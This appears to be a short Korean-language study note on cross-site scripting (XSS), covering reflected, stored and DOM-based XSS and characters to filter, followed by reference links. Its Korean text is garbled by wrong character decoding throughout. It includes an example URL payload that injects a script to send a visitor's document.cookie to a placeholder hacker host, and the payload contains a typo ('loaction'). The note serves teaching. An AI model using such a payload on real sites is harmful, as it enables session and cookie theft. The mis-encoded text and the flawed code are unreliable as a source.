๊ฒ์ํ, ์น ๋ฉ์ผ ๋ฑ์ ์ฝ์ ๋ ์ ์์ ์ธ ์คํฌ๋ฆฝํธ์ ์ํด ํ์ด์ง๊ฐ ๊นจ์ง๊ฑฐ๋ ๋ค๋ฅธ ์ฌ์ฉ์์ ์ฌ์ฉ์ ๋ฐฉํดํ๊ฑฐ๋ ์ฟ ํค ๋ฐ ๊ธฐํ ๊ฐ์ธ ์ ๋ณด๋ฅผ ํน์ ์ฌ์ดํธ๋ก ์ ์ก์ํค๋ ๊ณต๊ฒฉ.
(์ถ์ฒ : ๋ค์ด๋ฒ ์ง์๋ฐฑ๊ณผ)
๐ ์ด๋ฏธ Cascading Style Sheets๋ฅผ CSS๋ก ๋ถ๋ฅด๊ณ ์์ด XSS๋ผ๊ณ ํ๋ค.
์ฌ์ฉ์์๊ฒ ์ ๋ ฅ ๋ฐ์ ๊ฐ์ ์๋ฒ์์ ๋๋๋ ค ์ฃผ๋ ๊ณณ์์ ๋ฐ์ํ๋ค.
์น ์ดํ๋ฆฌ์ผ์ด์
์ ์ง์ ๋ ํ๋ผ๋ฏธํฐ๋ฅผ ์ฌ์ฉํ ๋ ๋ฐ์ํ๋ ์ทจ์ฝ์ ์ ์ด์ฉํ ๊ณต๊ฒฉ๋ฒ์ด๋ค.
๊ณต๊ฒฉ์ฉ ์คํฌ๋ฆฝํธ๊ฐ ๋์ ์น ์ฌ์ดํธ์ ์์ง ์๊ณ ๋ค๋ฅธ ๋งค์ฒด (ํ ์ฌ์ดํธ, ์ด๋ฉ์ผ)์ ํฌํจ๋ ์ ์๋ค. (๋งํฌ๋ฅผ ํตํด ์ด๋์์ผ๋ฒ๋ฆผ)
์๋ฅผ ๋ค๋ฉด GET ๋ฐฉ์์ผ๋ก ๊ฒ์ ๊ธฐ๋ฅ์ ๊ตฌํํ ์น ์ดํ๋ฆฌ์ผ์ด์
์
http://www.์ฌ์ดํธ?search=<script>loaction.href("http://ํด์ปค์ฌ์ดํธ?value="+document.cookie);</script>
์ด๋ฐ์์ผ๋ก ํด์ปค์๊ฒ ์ฌ์ฉ์์ ์ฟ ๊ธฐ๊ฐ์ ์ ์กํ๊ฒ๋ ์์ฑํ ์ ์๋ค.
(์ฌ๊ธฐ์๋ script ํ๊ทธ ์ฐ๋ ค๋๊น ์์จ์ง๋ค์ ใ
ใ
<
์ด๋ฐ์์ผ๋ก ์ฐ๋ฉด ์จ์ง)
Stored XSS์ ๋ค๋ฅด๊ฒ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์คํฌ๋ฆฝํธ๊ฐ ์ ์ฅ๋์ง ์๊ณ ์๋ต ํ์ด์ง๋ก ๋ฐ๋ก ํด๋ผ์ด์ธํธ์ ์ ๋ฌ๋๋ค๋ ์ฐจ์ด์ ์ด ์๋ค.
์ ์์ ์ธ ์คํฌ๋ฆฝํธ๊ฐ ํฌํจ ๋ URL์ ์ฌ์ฉ์๊ฐ ์์ฒญํ๊ฒ ๋์ด ๋ธ๋ผ์ฐ์ ๋ฅผ ํด์ํ๋ ๋จ๊ณ์์ ๋ฐ์ํ๋ ๊ณต๊ฒฉ.
ํด๋ผ์ด์ธํธ ์ธก ์ฝ๋๊ฐ ์๋ ์๋์ ๋ค๋ฅด๊ฒ ์คํ๋๋ค.
๋ค๋ฅธ XSS ๊ณต๊ฒฉ๊ณผ ๋ฌ๋ฆฌ ์๋ฒ ์ธก์์ ํ์ง๊ฐ ์ด๋ ต๋ค.
URL๊ณผ ํจ๊ป # ์ด๋ผ๋ ํน์๋ฌธ์๋ฅผ ์ฌ์ฉํด์ ๊ณต๊ฒฉํ๋ค. (# ์ดํ์ ๊ฐ์ ์๋ฒ๋ก ์ ์ก๋์ง ์๋ ๊ธฐ๋ฅ์ ๊ฐ์ง๊ณ ์์)
&, <, >, *, ', /
๋ฑhttps://www.youtube.com/watch?v=bSGqBoZd8WM
https://noirstar.tistory.com/266
https://jaeseongdev.github.io/development/2021/05/20/XSS/
https://www.leafcats.com/42